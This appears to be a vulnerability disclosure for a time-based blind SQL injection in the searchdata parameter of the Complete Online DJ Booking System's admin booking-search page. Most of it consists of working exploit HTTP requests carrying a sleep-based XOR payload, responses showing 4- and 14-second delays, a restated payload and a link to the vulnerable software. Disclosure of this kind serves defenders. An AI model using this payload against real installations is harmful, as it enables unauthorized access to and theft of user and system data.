

SQL injection vulnerability exists in searchdata parameter of /admin/booking-search.php file of Complete Online DJ Booking System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

Request

```
1 POST /odms/admin/booking-search.php HTTP/1.1
2 Host: 192.168.31.163
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6 Accept-Encoding: gzip, deflate
7 Accept-Language: en-US,en;q=0.9
8 Cookie: user_login=admin; userpassword=Test%40123; PHPSESSID=j0p31o04llac0iaqja43v4gc09
9 Connection: close
10 Content-Type: application/x-www-form-urlencoded
11 Content-Length: 65
12 search=&searchdata=
13 0'XOR(if(now())=sysdate())%2Csleep(4)%2C0))XOR'Z
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Mon, 18 Mar 2024 11:35:12 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: close
6 X-Powered-By: PHP/7.3.4
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache
10 Content-Length: 24814
11
12 <!doctype html>
13 <html lang="en" class="no-focus">
14 <!--<![endif]-->
15 <head>
16 <title>
17 Onlind DJ Management System - Search
18 Booking
19 </title>
20
21 <link rel="stylesheet" href="
22 assets/js/plugins/datatables/dataTables.bootstrap4.min.css">
23
24 <link rel="stylesheet" id="css-main" href="
25 assets/css/codebase.min.css">
```

Inspector: Request Attributes 2, Request Query Parameters 0, Request Body Parameters 2, Request Cookies 3, Request Headers 10, Response Headers 9. Status: 25,110 bytes, 4,008 millis.

Sleep time is 14s:

Request

```
1 POST /odms/admin/booking-search.php HTTP/1.1
2 Host: 192.168.31.163
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6 Accept-Encoding: gzip, deflate
7 Accept-Language: en-US,en;q=0.9
8 Cookie: user_login=admin; userpassword=Test%40123; PHPSESSID=j0p31o04llac0iaqja43v4gc09
9 Connection: close
10 Content-Type: application/x-www-form-urlencoded
11 Content-Length: 66
12 search=&searchdata=
13 0'XOR(if(now())=sysdate())%2Csleep(14)%2C0))XOR'Z
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Mon, 18 Mar 2024 11:36:09 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: close
6 X-Powered-By: PHP/7.3.4
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache
10 Content-Length: 24815
11
12 <!doctype html>
13 <html lang="en" class="no-focus">
14 <!--<![endif]-->
15 <head>
16 <title>
17 Onlind DJ Management System - Search
18 Booking
19 </title>
20
21 <link rel="stylesheet" href="
22 assets/js/plugins/datatables/dataTables.bootstrap4.min.css">
23
24 <link rel="stylesheet" id="css-main" href="
25 assets/css/codebase.min.css">
```

Inspector: Request Attributes 2, Request Query Parameters 0, Request Body Parameters 2, Request Cookies 3, Request Headers 10, Response Headers 9. Status: 25,111 bytes, 14,009 millis.

Payload:searchdata=0'XOR(if(now())=sysdate())%2Csleep(14)%2C0))XOR'Z

Source Download:

<https://www.campcodes.com/projects/php/online-dj-booking-system/>